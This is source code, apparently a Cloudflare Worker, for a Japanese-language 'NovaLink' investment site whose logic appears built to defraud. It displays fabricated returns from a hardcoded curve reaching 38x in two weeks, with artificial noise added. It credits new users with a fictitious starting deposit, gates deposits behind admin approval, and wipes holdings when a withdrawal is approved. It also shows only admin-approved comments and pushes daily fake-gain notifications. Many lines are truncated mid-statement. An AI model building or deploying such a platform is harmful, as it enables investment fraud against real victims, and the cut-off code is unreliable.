```
// NovaLink Investor — Cloudflare Worker
const ADMIN_PASS = 'novalink2026';
const GROWTH_MULTIPLIER = 38;
const GROWTH_DAYS = 14;
const BASE_DEPOSIT = 100;

const USER_HTML = "__USER_HTML__";
const ADMIN_HTML = "__ADMIN_HTML__";
const RANKING_HTML = "__RANKING_HTML__";
const DEPOSIT_HTML = "__DEPOSIT_HTML__";
const COMMENTS_HTML = "__COMMENTS_HTML__";
const SW_JS = `self.addEventListener('push',function(e){var data=e.data?e.data.js

const MANIFEST = JSON.stringify({
  name: "NovaLink",
  short_name: "NovaLink",
  description: "NovaLink Investment Platform",
  start_url: "/",
  display: "standalone",
  background_color: "#09090B",
  theme_color: "#C5963A",
  icons: [
    { src: "/icon-192.png", sizes: "192x192", type: "image/png" },
    { src: "/icon-512.png", sizes: "512x512", type: "image/png" }
  ]
});

function generateIcon(size) {
  const s = size;
  const svg = `<svg xmlns="http://www.w3.org/2000/svg" width="${s}" height="${s}"
    <rect width="${s}" height="${s}" rx="${Math.round(s*0.2)}" fill="#09090B"/>
    <text x="50%" y="54%" font-family="sans-serif" font-size="${Math.round(s*0.45
  </svg>`;
  return new Response(svg, { headers: { 'Content-Type': 'image/svg+xml', 'Cache-C
}

function generateFavicon() {
  const svg = `<svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" vie
    <rect width="32" height="32" rx="6" fill="#09090B"/>
    <text x="50%" y="54%" font-family="sans-serif" font-size="18" font-weight="80
  </svg>`;
  return new Response(svg, { headers: { 'Content-Type': 'image/svg+xml', 'Cache-C
}
```

```
export default {
  async fetch(request, env) {
    const url = new URL(request.url);
    const path = url.pathname;
    if (path === '/sw.js') return new Response(SW_JS, { headers: { 'Content-Type'
    if (path === '/manifest.json') return new Response(MANIFEST, { headers: { 'Co
    if (path === '/icon-192.png' || path === '/icon-512.png') return generateIcon
    if (path === '/favicon.ico' || path === '/favicon.svg') return generateFavico
    if (path.startsWith('/api/')) return handleAPI(path, request, env, url);
    if (path === '/admin' || path === '/admin/') return new Response(ADMIN_HTML,
    if (path === '/ranking' || path === '/ranking/') return new Response(RANKING_
    if (path === '/deposit' || path === '/deposit/') return new Response(DEPOSIT_
    if (path === '/comments' || path === '/comments/') return new Response(COMMEN
    return new Response(USER_HTML, { headers: { 'Content-Type': 'text/html; chars
  },
  async scheduled(event, env, ctx) {
    const hour = new Date(event.scheduledTime).getUTCHours();
    if (hour === 8) {
      ctx.waitUntil(sendDepositOpenNotification(env));
    } else if (hour === 10) {
      ctx.waitUntil(sendDailyNotifications(env));
    }
  }
};

function json(data, status, headers) { return new Response(JSON.stringify(data),

async function handleAPI(path, request, env, url) {
  const cors = { 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Method
  if (request.method === 'OPTIONS') return new Response(null, { headers: cors });
  try {
    if (path === '/api/portfolio' && request.method === 'GET') {
      const uid = url.searchParams.get('uid');
      if (!uid) return json({ error: 'uid required' }, 400, cors);
      return json(await getPortfolio(env, uid), 200, cors);
    }
    if (path === '/api/order' && request.method === 'POST') {
      const { uid, amount, shares } = await request.json();
      if (!uid || !amount || !shares) return json({ error: 'missing fields' }, 40
      return json(await createOrder(env, uid, Number(amount), Number(shares)), 20
    }
    if (path === '/api/withdraw' && request.method === 'POST') {
      const { uid, amount } = await request.json();
      if (!uid || !amount) return json({ error: 'missing fields' }, 400, cors);
      return json(await createWithdrawal(env, uid, Number(amount)), 200, cors);
    }
    if (path === '/api/ranking' && request.method === 'GET') {
```

```
    const uid = url.searchParams.get('uid');
    return json(await getRanking(env, uid), 200, cors);
  }
  if (path === '/api/comments' && request.method === 'GET') {
    return json(await getApprovedComments(env), 200, cors);
  }
  if (path === '/api/comments' && request.method === 'POST') {
    const { text } = await request.json();
    if (!text || !text.trim()) return json({ error: 'empty comment' }, 400, cor
    return json(await postComment(env, text.trim()), 200, cors);
  }
  if (path === '/api/init' && request.method === 'POST') {
    const body = await request.json();
    const uid = body.uid || crypto.randomUUID().slice(0, 8);
    await initUser(env, uid);
    return json({ uid }, 200, cors);
  }
  if (path.startsWith('/api/admin/')) {
    const auth = request.headers.get('Authorization');
    if (auth !== 'Bearer ' + ADMIN_PASS) return json({ error: 'unauthorized' },
    if (path === '/api/admin/pending') return json(await getPendingOrders(env),
    if (path === '/api/admin/awaiting') return json(await getAwaitingOrders(env
    if (path === '/api/admin/approve' && request.method === 'POST') { await app
    if (path === '/api/admin/confirm' && request.method === 'POST') { await con
    if (path === '/api/admin/reject' && request.method === 'POST') { await reje
    if (path === '/api/admin/users') return json(await getAllUsers(env), 200, c
    if (path === '/api/admin/settings') return json({ multiplier: GROWTH_MULTIP
    if (path === '/api/admin/comments') return json(await getPendingComments(en
    if (path === '/api/admin/comment/approve' && request.method === 'POST') { a
    if (path === '/api/admin/comment/delete' && request.method === 'POST') { aw
  }

  // Push notification endpoints
  if (path === '/api/push/vapid-key' && request.method === 'GET') {
    const key = env.VAPID_PUBLIC_KEY || '';
    return json({ key }, 200, cors);
  }
  if (path === '/api/push/subscribe' && request.method === 'POST') {
    const { uid, subscription } = await request.json();
    if (!uid || !subscription) return json({ error: 'missing params' }, 400, co
    await env.INVESTOR_KV.put('push:' + uid, JSON.stringify(subscription));
    return json({ ok: true }, 200, cors);
  }
  if (path === '/api/push/unsubscribe' && request.method === 'POST') {
    const { uid } = await request.json();
    if (uid) await env.INVESTOR_KV.delete('push:' + uid);
    return json({ ok: true }, 200, cors);
```

```
    }

    return json({ error: 'not found' }, 404, cors);
  } catch (e) { return json({ error: e.message }, 500, cors); }
}

function calcMultiplier(days) {
  if (days <= 0) return 1;
  if (days >= GROWTH_DAYS) days = GROWTH_DAYS;
  const curve = [1, 2.4, 4.2, 5.8, 5.1, 7.2, 6.5, 8.8, 8.0, 10.5, 14.0, 19.0, 26.
  const idx = Math.floor(days);
  const frac = days - idx;
  if (idx >= 14) return GROWTH_MULTIPLIER;
  const a = curve[idx];
  const b = curve[Math.min(idx + 1, 14)];
  const val = a + (b - a) * frac;
  const hourSeed = Math.floor(Date.now() / 3600000);
  const noise = (Math.sin(hourSeed * 2.71 + idx * 4.13) * 0.015) + (Math.cos(hour
  return Math.round(Math.max(1, val * (1 + noise)) * 100) / 100;
}
function daysBetween(t1, t2) { return (t2 - t1) / 86400000; }

async function initUser(env, uid) {
  const existing = await env.INVESTOR_KV.get('user:' + uid, 'json');
  if (existing) return existing;
  const user = { uid, createdAt: Date.now(), deposits: [{ amount: BASE_DEPOSIT, t
  await env.INVESTOR_KV.put('user:' + uid, JSON.stringify(user));
  const idx = await env.INVESTOR_KV.get('index:users', 'json') || [];
  if (!idx.includes(uid)) { idx.push(uid); await env.INVESTOR_KV.put('index:users
  return user;
}

async function getPortfolio(env, uid) {
  const user = await env.INVESTOR_KV.get('user:' + uid, 'json');
  if (!user) return { error: 'user not found', portfolio: null };
  const now = Date.now();
  let totalValue = 0;
  for (const dep of user.deposits) { totalValue += dep.amount * calcMultiplier(da
  totalValue = Math.round(totalValue);
  const gain = totalValue - user.totalDeposited;
  const gainPct = user.totalDeposited > 0 ? Math.round((gain / user.totalDeposite
  const overallDays = daysBetween(user.createdAt, now);
  const hasPendingWithdraw = await hasPendingWithdrawal(env, uid);
  return { uid: user.uid, totalValue, totalDeposited: user.totalDeposited, gain,
}

async function hasPendingWithdrawal(env, uid) {
```

```
  const pending = await env.INVESTOR_KV.get('index:pending', 'json') || [];
  for (const id of pending) {
    const o = await env.INVESTOR_KV.get('order:' + id, 'json');
    if (o && o.uid === uid && o.type === 'withdraw' && o.status === 'pending') re
  }
  return false;
}

async function createOrder(env, uid, amount, shares) {
  const user = await env.INVESTOR_KV.get('user:' + uid, 'json');
  if (!user) throw new Error('user not found');
  const orderId = 'ord_' + crypto.randomUUID().slice(0, 8);
  const order = { orderId, uid, amount, shares, type: 'buy', status: 'pending', c
  await env.INVESTOR_KV.put('order:' + orderId, JSON.stringify(order));
  const pending = await env.INVESTOR_KV.get('index:pending', 'json') || [];
  pending.push(orderId); await env.INVESTOR_KV.put('index:pending', JSON.stringif
  return { orderId, status: 'pending' };
}

async function createWithdrawal(env, uid, amount) {
  const user = await env.INVESTOR_KV.get('user:' + uid, 'json');
  if (!user) throw new Error('user not found');
  if (await hasPendingWithdrawal(env, uid)) throw new Error('withdrawal already p
  const orderId = 'wdr_' + crypto.randomUUID().slice(0, 8);
  const order = { orderId, uid, amount, type: 'withdraw', status: 'pending', crea
  await env.INVESTOR_KV.put('order:' + orderId, JSON.stringify(order));
  const pending = await env.INVESTOR_KV.get('index:pending', 'json') || [];
  pending.push(orderId); await env.INVESTOR_KV.put('index:pending', JSON.stringif
  return { orderId, status: 'pending' };
}

async function approveOrder(env, orderId) {
  const order = await env.INVESTOR_KV.get('order:' + orderId, 'json');
  if (!order || order.status !== 'pending') throw new Error('invalid order');
  if (order.type === 'withdraw') {
    // Withdraw: approve = immediately process (no 2-step needed)
    order.status = 'approved'; order.approvedAt = Date.now();
    await env.INVESTOR_KV.put('order:' + orderId, JSON.stringify(order));
    const user = await env.INVESTOR_KV.get('user:' + order.uid, 'json');
    if (!user) return;
    user.withdrawn = (user.withdrawn || 0) + order.amount;
    user.deposits = [];
    user.totalDeposited = 0;
    await env.INVESTOR_KV.put('user:' + user.uid, JSON.stringify(user));
    let pending = await env.INVESTOR_KV.get('index:pending', 'json') || [];
    await env.INVESTOR_KV.put('index:pending', JSON.stringify(pending.filter(id =
  } else {
```

```
    // Buy: approve = allow user to see deposit address, but do NOT add to deposi
    order.status = 'approved'; order.approvedAt = Date.now();
    await env.INVESTOR_KV.put('order:' + orderId, JSON.stringify(order));
    // Move from pending to awaiting-confirm
    let pending = await env.INVESTOR_KV.get('index:pending', 'json') || [];
    await env.INVESTOR_KV.put('index:pending', JSON.stringify(pending.filter(id =
    let awaiting = await env.INVESTOR_KV.get('index:awaiting', 'json') || [];
    if (!awaiting.includes(orderId)) awaiting.push(orderId);
    await env.INVESTOR_KV.put('index:awaiting', JSON.stringify(awaiting));
  }
}

async function confirmDeposit(env, orderId) {
  const order = await env.INVESTOR_KV.get('order:' + orderId, 'json');
  if (!order || order.status !== 'approved' || order.type === 'withdraw') throw n
  order.status = 'confirmed'; order.confirmedAt = Date.now();
  await env.INVESTOR_KV.put('order:' + orderId, JSON.stringify(order));
  const user = await env.INVESTOR_KV.get('user:' + order.uid, 'json');
  if (!user) return;
  user.deposits.push({ amount: order.amount, timestamp: Date.now(), type: 'additi
  user.totalDeposited += order.amount;
  await env.INVESTOR_KV.put('user:' + user.uid, JSON.stringify(user));
  let awaiting = await env.INVESTOR_KV.get('index:awaiting', 'json') || [];
  await env.INVESTOR_KV.put('index:awaiting', JSON.stringify(awaiting.filter(id =
}

async function rejectOrder(env, orderId) {
  const order = await env.INVESTOR_KV.get('order:' + orderId, 'json');
  if (!order) throw new Error('not found');
  order.status = 'rejected'; order.rejectedAt = Date.now();
  await env.INVESTOR_KV.put('order:' + orderId, JSON.stringify(order));
  let pending = await env.INVESTOR_KV.get('index:pending', 'json') || [];
  await env.INVESTOR_KV.put('index:pending', JSON.stringify(pending.filter(id =>
}

async function getPendingOrders(env) {
  const pending = await env.INVESTOR_KV.get('index:pending', 'json') || [];
  const out = [];
  for (const id of pending) { const o = await env.INVESTOR_KV.get('order:' + id,
  return out;
}

async function getAwaitingOrders(env) {
  const awaiting = await env.INVESTOR_KV.get('index:awaiting', 'json') || [];
  const out = [];
  for (const id of awaiting) { const o = await env.INVESTOR_KV.get('order:' + id,
  return out;
```

```
}

async function getOrdersForUser(env, uid) {
  const list = await env.INVESTOR_KV.list({ prefix: 'order:' });
  const out = [];
  for (const key of list.keys) { const o = await env.INVESTOR_KV.get(key.name, 'j
  return out.sort((a, b) => b.createdAt - a.createdAt);
}

async function getAllUsers(env) {
  const idx = await env.INVESTOR_KV.get('index:users', 'json') || [];
  const out = [], now = Date.now();
  for (const uid of idx) {
    const u = await env.INVESTOR_KV.get('user:' + uid, 'json');
    if (u) { let tv = 0; for (const d of u.deposits) tv += d.amount * calcMultipl
  }
  return out;
}

async function getRanking(env, requestUid) {
  const CACHE_KEY = 'cache:ranking';
  const CACHE_TTL = 30000; // 30 seconds
  const cached = await env.INVESTOR_KV.get(CACHE_KEY, 'json');
  let entries;
  if (cached && (Date.now() - cached.ts) < CACHE_TTL) {
    entries = cached.entries;
  } else {
    const idx = await env.INVESTOR_KV.get('index:users', 'json') || [];
    entries = []; const now = Date.now();
    for (const uid of idx) {
      const u = await env.INVESTOR_KV.get('user:' + uid, 'json');
      if (u) {
        let tv = 0;
        for (const d of u.deposits) tv += d.amount * calcMultiplier(daysBetween(d
        tv = Math.round(tv);
        entries.push({ uid, gain: tv - u.totalDeposited, totalValue: tv });
      }
    }
    entries.sort((a, b) => b.gain - a.gain);
    await env.INVESTOR_KV.put(CACHE_KEY, JSON.stringify({ ts: Date.now(), entries
  }
  const ranking = entries.map((e, i) => ({ rank: i + 1, gain: e.gain, totalValue:
  const myRank = ranking.find(r => r.isMe);
  const totalAUM = entries.reduce((s, e) => s + e.totalValue, 0);
  return { ranking, myRank: myRank || null, totalUsers: ranking.length, totalAUM
}
```

```
async function postComment(env, text) {
  const id = 'cmt_' + crypto.randomUUID().slice(0, 8);
  const comment = { id, text: text.slice(0, 500), status: 'pending', createdAt: D
  await env.INVESTOR_KV.put('comment:' + id, JSON.stringify(comment));
  const pending = await env.INVESTOR_KV.get('index:pendingComments', 'json') || [
  pending.push(id); await env.INVESTOR_KV.put('index:pendingComments', JSON.strin
  return { id, status: 'pending' };
}

async function getApprovedComments(env) {
  const approved = await env.INVESTOR_KV.get('index:approvedComments', 'json') ||
  const out = [];
  for (const id of approved) {
    const c = await env.INVESTOR_KV.get('comment:' + id, 'json');
    if (c) out.push({ id: c.id, text: c.text, createdAt: c.createdAt });
  }
  return out.sort((a, b) => b.createdAt - a.createdAt);
}

async function getPendingComments(env) {
  const pending = await env.INVESTOR_KV.get('index:pendingComments', 'json') || [
  const out = [];
  for (const id of pending) {
    const c = await env.INVESTOR_KV.get('comment:' + id, 'json');
    if (c) out.push(c);
  }
  return out.sort((a, b) => b.createdAt - a.createdAt);
}

async function approveComment(env, commentId) {
  const c = await env.INVESTOR_KV.get('comment:' + commentId, 'json');
  if (!c) throw new Error('not found');
  c.status = 'approved'; c.approvedAt = Date.now();
  await env.INVESTOR_KV.put('comment:' + commentId, JSON.stringify(c));
  let pending = await env.INVESTOR_KV.get('index:pendingComments', 'json') || [];
  await env.INVESTOR_KV.put('index:pendingComments', JSON.stringify(pending.filte
  const approved = await env.INVESTOR_KV.get('index:approvedComments', 'json') ||
  approved.push(commentId); await env.INVESTOR_KV.put('index:approvedComments', J
}

async function deleteComment(env, commentId) {
  await env.INVESTOR_KV.delete('comment:' + commentId);
  let pending = await env.INVESTOR_KV.get('index:pendingComments', 'json') || [];
  await env.INVESTOR_KV.put('index:pendingComments', JSON.stringify(pending.filte
  let approved = await env.INVESTOR_KV.get('index:approvedComments', 'json') || [
  await env.INVESTOR_KV.put('index:approvedComments', JSON.stringify(approved.fil
}
```

```
// === Web Push Notification ===
async function sendDailyNotifications(env) {
  const privateKey = env.VAPID_PRIVATE_KEY;
  const publicKey = env.VAPID_PUBLIC_KEY;
  if (!privateKey || !publicKey) return;

  const uids = await env.INVESTOR_KV.get('index:users', 'json') || [];
  const now = Date.now();

  for (const uid of uids) {
    try {
      const subJson = await env.INVESTOR_KV.get('push:' + uid);
      if (!subJson) continue;
      const subscription = JSON.parse(subJson);
      const user = await env.INVESTOR_KV.get('user:' + uid, 'json');
      if (!user || !user.deposits || user.deposits.length === 0) continue;

      // Calculate today's gain
      let totalValue = 0;
      for (const dep of user.deposits) {
        totalValue += dep.amount * calcMultiplier(daysBetween(dep.timestamp, now)
      }
      const gain = totalValue - user.totalDeposited;
      const sign = gain >= 0 ? '+' : '';
      const body = `本日の損益: ${sign}¥${Math.round(Math.abs(gain)).toLocaleStringc

      await sendWebPush(subscription, {
        title: 'NovaLink 運用レポート',
        body: body,
        icon: '/favicon.ico',
        tag: 'daily-report'
      }, publicKey, privateKey);
    } catch (e) {
      // Remove invalid subscriptions
      if (e.message && e.message.includes('410')) {
        await env.INVESTOR_KV.delete('push:' + uid);
      }
    }
  }
}

async function sendDepositOpenNotification(env) {
  const privateKey = env.VAPID_PRIVATE_KEY;
  const publicKey = env.VAPID_PUBLIC_KEY;
  if (!privateKey || !publicKey) return;
```

```
  const uids = await env.INVESTOR_KV.get('index:users', 'json') || [];

  for (const uid of uids) {
    try {
      const subJson = await env.INVESTOR_KV.get('push:' + uid);
      if (!subJson) continue;
      const subscription = JSON.parse(subJson);

      await sendWebPush(subscription, {
        title: 'NovaLink',
        body: '本日の入金受付を開始しました（17:00〜20:00）',
        icon: '/favicon.ico',
        tag: 'deposit-open'
      }, publicKey, privateKey);
    } catch (e) {
      if (e.message && e.message.includes('410')) {
        await env.INVESTOR_KV.delete('push:' + uid);
      }
    }
  }
}

async function sendWebPush(subscription, payload, publicKey, privateKey) {
  const endpoint = subscription.endpoint;
  const p256dh = subscription.keys.p256dh;
  const auth = subscription.keys.auth;

  // JWT for VAPID
  const jwtHeader = btoa(JSON.stringify({ typ: 'JWT', alg: 'ES256' })).replace(/=
  const aud = new URL(endpoint).origin;
  const exp = Math.floor(Date.now() / 1000) + 86400;
  const jwtPayload = btoa(JSON.stringify({ aud, exp, sub: 'mailto:novalink@exampl

  const privateKeyData = base64urlToUint8Array(privateKey);
  const key = await crypto.subtle.importKey('pkcs8', privateKeyData, { name: 'ECD
    // Try raw import
    return crypto.subtle.importKey('raw', privateKeyData, { name: 'ECDSA', namedC
  });

  const sigData = new TextEncoder().encode(jwtHeader + '.' + jwtPayload);
  const sig = await crypto.subtle.sign({ name: 'ECDSA', hash: 'SHA-256' }, key, s
  const sigStr = uint8ArrayToBase64url(new Uint8Array(sig));
  const jwt = jwtHeader + '.' + jwtPayload + '.' + sigStr;

  const payloadStr = JSON.stringify(payload);
  const resp = await fetch(endpoint, {
    method: 'POST',
```

```
    headers: {
      'Authorization': 'vapid t=' + jwt + ', k=' + publicKey,
      'Content-Type': 'application/json',
      'TTL': '86400'
    },
    body: payloadStr
  });

  if (resp.status === 410 || resp.status === 404) {
    throw new Error('410');
  }
}

function base64urlToUint8Array(base64url) {
  const base64 = base64url.replace(/-/g, '+').replace(/_/g, '/');
  const padding = '='.repeat((4 - base64.length % 4) % 4);
  const bin = atob(base64 + padding);
  return Uint8Array.from(bin, c => c.charCodeAt(0));
}

function uint8ArrayToBase64url(arr) {
  let s = '';
  for (let i = 0; i < arr.length; i++) s += String.fromCharCode(arr[i]);
  return btoa(s).replace(/=/g, '').replace(/\+/g, '-').replace(/\//g, '_');
}
```